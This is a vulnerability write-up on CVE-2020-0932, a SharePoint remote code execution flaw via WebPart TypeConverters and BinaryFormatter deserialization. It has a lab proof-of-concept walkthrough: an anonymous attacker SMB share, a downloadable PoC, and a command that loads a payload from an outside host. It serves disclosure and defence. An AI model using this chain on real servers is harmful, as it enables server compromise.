# CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using**Overview**This vulnerability allows authenticated users to execute arbitrary code on aSharePoint server. The code will execute in the context of the service accountof the SharePoint web application. For a successful attack, the attacker musthave the "Add or Customize Pages" permission on a SharePoint site or at leaston one page on the site. However, the default configuration of SharePointallows any authenticated user to create their own site with all the necessarypermissions. **The Vulnerability**The vulnerability exists because SharePoint does not restrict available Typesfor properties when it parses the XML configuration of[WebParts](https://support.office.com/en-us/article/using-web-parts-on-sharepoint-pages-336e8e92-3e2d-4298-ae01-d404bbe751e0). For a property, an attacker may specify a string and a type name, and SharePoint will attempt toconvert the string using a `TypeConverter` corresponding to the specifiedtype. Some TypeConverters present in the SharePoint libraries can be used forarbitrary code execution.The entry point for this attack is the [WebPartPages](https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774788\(v=office.12\)) web service found at:`http://<Site>/_vti_bin/WebPartPages.asmx`Within the implementation of this web service there are several methods thatdeal with parsing XML WebParts configuration, one of which is `RenderWebPartForEdit`. Note that [RenderWebPartForEdit](https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774825\(v=office.12\)) is exposed as a `WebMethod`, so that it can be invoked via an HTTP request:![Picture1.png](https://images.seebug.org/1588248480426-w331s)![Picture2.png](https://images.seebug.org/1588248529559-w331s)![Picture3.png](https://images.seebug.org/1588248538855-w331s)The next method, `webPartImporter.CreateWebPart()`, is quite complicated, asit implements parsers for 2 different versions of XML configurations, namelyWebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on theparser for .webpart files. Also, a large portion of the code in this method isdedicated to Type resolution and to validation of the WebPart itself. However,this is not relevant to this attack and is not detailed here.![Picture4.png](https://images.seebug.org/1588248542567-w331sOur XML payload will be passed along to `ImportWebPartBase()`.View fullsize![Picture5.png](https://images.seebug.org/1588248551276-w331s)This means all `property` elements will be processed by`ImportWebPartFile.AddToProperyArrayLists()`:![Picture6.png](https://images.seebug.org/1588248572206-w331s)At this point, we control two crucial strings: `text` and`xmlAttributeValue2`. `text` comes from the textual contents of the `property`element, while `xmlAttributeValue2` comes from the element's `type` attribute.The code shown above chooses a .NET `Type` on the basis of`xmlAttributeValue2`, and then uses the `TypeConverter` of that `Type` toconvert `text` into a .NET object instance (`propValue`).We must now investigate what types are available.![Picture7.png](https://images.seebug.org/1588248578379-w331s)Since there is no restriction, we can use any Type we want.**Choosing a TypeConverter for RCE**To gain arbitrary code execution, we will use the type`System.Resources.ResXFileRef` and its `TypeConverter`,`System.Resources.ResXFileRef.Converter`:View fullsize![Picture8b.png](https://images.seebug.org/1588248583044-w331s)This shows that `System.Resources.ResXFileRef.Converter` will take the stringwe specify (`value`) and parse out two pieces of data. The first, shown hereas `array`, will be interpreted as a path to a `.resources` resource file.The second, `array`, will be interpreted as the name of an arbitrary .NET`Type`. The code shown above will instantiate the specified `Type`, passing asingle argument to the constructor. That argument will be a stream containingthe contents of the `.resources` file we specify. Since we are able to specifya remote path to an attacker-controlled SMB server, we have complete controlover the stream contents.**Choosing a Type We Can Instantiate With a Stream Argument**The final challenge is to identify an available .NET type that has aconstructor with a single argument of type `Stream`, and that can be used forarbitrary code execution. One possible solution is`System.Resources.ResourceSet:`View fullsize![Picture9b.png](https://images.seebug.org/1588248586878-w331s)Here, we are only interested in two lines: the first and the last. The firstline calls the constructor of `System.Resources.ResourceReader`:View fullsize![Picture10b.png](https://images.seebug.org/1588248592659-w331s)This is very promising, since it is taking the contents of the `Stream` andfeeding it to a `BinaryFormatter`. This could easily lead to arbitrary objectdeserialization.Looking back at the last line of the `System.Resources.ResourceSet`constructor, and following the path of code execution down several levels ofcalls:![Alternate11.png](https://images.seebug.org/1588248597896-w331s)![Alternate12.png](https://images.seebug.org/1588248600353-w331s)![Alternate13.png](https://images.seebug.org/1588248603431-w331s)This shows that the server will deserialize untrusted data, which allows us toexecute arbitrary code.**Generating a .resources File**To conduct this attack, we need a compiled `.resources` resource filecontaining our payload. We can use Visual Studio to create the needed`.resources` file. At compile time, Visual Studio uses the Resource FileGenerator (Resgen.exe) to convert a `.resx` file to a binary resource(`.resources`) file. To inject our payload, we can edit the `.resx` file andreplace the existing `data` node with the following:View fullsize![Alternate14.png](https://images.seebug.org/1588248620701-w331s)Now we can save the `*.resx` file and compile the current project. VisualStudio will place the compiled `*.resources` file in the `/obj` folder.**Proof of Concept**To demonstrate this exploit, we will use Microsoft SharePoint Server 2019installed with all default options on a Windows Server 2019 Datacenter server.We have set the computer name as sp2019.contoso.lab and made it a member ofthe contoso.lab domain. The domain controller is on a separate virtualmachine. We added a couple of users, including **_user2_** as a regularunprivileged user.For the attacker system, we'll need any supported web browser. In thefollowing screenshots, we are using Mozilla Firefox 69.0.3. We'll also beusing our custom `SP_soap_RCE_PoC.exe` application to send the attack. You candownload all the necessary files to try this yourself [here](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932). For different `BinaryFormatter` payloads, you will need[YSoSerial.Net](https://github.com/pwntester/ysoserial.net). For this demonstration, the hardcoded payload in our PoC will suffice.The next step is to set up a remote SMB server controlled by the attacker.This can be any machine that can receive traffic from the target SharePointserver. On this server, you will need to configure a shared folder thatrequires no authentication. This can be a bit tricky, but the steps to do thisare detailed [here](http://nikolar.com/2015/03/10/creating-network-share-with-anonymous-access/). For our demonstration, we're using Windows Server 2016Standard with an IP address of 192.168.50.210. In addition to the stepsalready listed to share a folder, we added Everyone, Guest, and ANONYMOUSLOGON in the Security tab of the shared folder.![Picture11b.png](https://images.seebug.org/1588248624682-w331s)![Picture11b.png]()Astute readers might wonder why the SharePoint server consents to accessing ananonymous SMB share. For security reasons, the Windows SMB client normallydoes not permit such an operation. This is a [mitigationintroduced](https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser) starting with version1709 of Windows 10 and Windows Server 2016. The answer is that, for somereason, the SharePoint installer turns this mitigation off via a registryentry. In the registry key`HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters`, it setsthe value `AllowInsecureGuestAuth` to `1`.With the folder created and configured, we can place the payload forBinaryFormatter in that location and proceed with the attack. For thisdemonstration, we've named it `SP_soap_RCE_PoC.RCE_Resource.resources`.Let's begin by visiting our SharePoint Server and authenticating as a regularuser. In this case it is **_user2_** :View fullsize![Picture12b.png](https://images.seebug.org/1588248634621-w331s)Now we are logged in as an authenticated user:View fullsize![Picture13b.png](https://images.seebug.org/1588248637459-w331s)Next, we create our own site so that we will be the owner and will have allpermissions. Note, if an attacker is not able to create their own site, theycan still try all existing sites and pages in an attempt to find at least onewhere they have " **_Add_** or **_Customize_** " Pages permissions.Click on "SharePoint" on the top panel:View fullsize![Picture14b.png](https://images.seebug.org/1588248641645-w331s)Now click "\+ Create site" link:View fullsize![Picture15b.png](https://images.seebug.org/1588248646819-w331s)For this demonstration, we choose **Team Site** , but it does not matter. Nowwe need to pick a name for the new site. In this case, we use **siteofuser2**.Also, we will need the BaseURL of the new site. We can see it on the formshown below, above the green "Available" label. In this example, it is`http://sp2019/sites/siteofuser2`:View fullsize![Picture16b.png](https://images.seebug.org/1588248650742-w331s)Click " ** _Finish_** ", and the new site will be created:View fullsize![Picture17b.png](https://images.seebug.org/1588248655813-w331s)Now let's go to the target SharePoint server and open the `C:\windows\temp`folder.View fullsize![Picture18b.png](https://images.seebug.org/1588248659659-w331s)We note there is no `Vuln_Server.txt` file yet. If successful, our PoC willcreate this file. Next, we confirm our`SP_soap_RCE_PoC.RCE_Resource.resources` file exists on the attacker-controlled SMB server:View fullsize![Picture19b.png](https://images.seebug.org/1588248664437-w331s)Now let's go back to the "attacker" machine. We will use our custom`SP_soap_RCE_PoC.exe` executable for the attack. We need to provide thefollowing information as arguments:\– **_BaseUrl_** of the target SharePoint Site. In this demonstration, it is`http://sp2019/sites/siteofuser2/` \– **_UserName_** – In our case, this is `user2` \– **_Password_** \– **_Domain_** \– **_Remote Path_** to our payload file. The command ends up looking like this:`SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso//192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources`View fullsize![Picture20b.png](https://images.seebug.org/1588248666302-w331s)SharePoint does report an error that an unsafe type was specified, but theattack is successful anyway. We can check the `Temp` folder on the targetserver:View fullsize![Picture21b.png](https://images.seebug.org/1588248671808-w331s)This shows how an attacker is able to execute arbitrary OS commands andcompromise the entire server. To execute other commands, you would need togenerate your own `*.resource` file. This can be done by opening the`RCE_Resource.resx` file in any text editor and replacing the base64`BinaryFormatter` payload with the desired one:View fullsize![Picture22b.png](https://images.seebug.org/1588248677147-w331s)You can then save the file, open the project in Visual Studio and rebuild it.The `SP_soap_RCE_PoC.RCE_Resource.resources` file with the new payload will bein the `\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\` folder.**Conclusion**According to Microsoft, this vulnerability was fixed by "correcting howSharePoint checks the source markup of application packages." Interestingly,all six SharePoint bugs – including the Important-rated bugs – have the exactsame write-up. There's no indication from the vendor why some of these bugsare rated Important while others are rated Critical. Because of this, werecommend you treat all of the bugs as Critical. SharePoint bugs have provento be popular with attackers in the past. In 2019,[CVE-2019-0604](https://www.zerodayinitiative.com/blog/2019/12/18/looking-back-at-the-impact-of-cve-2019-0604-a-sharepoint-rce) ended up being usedextensively in the wild. Time will tell if this bug proves as popular withcriminals online.We'll be back with other great submissions in the future. Until then, followthe [team](https://twitter.com/thezdi) for the latest in exploit techniquesand security patches.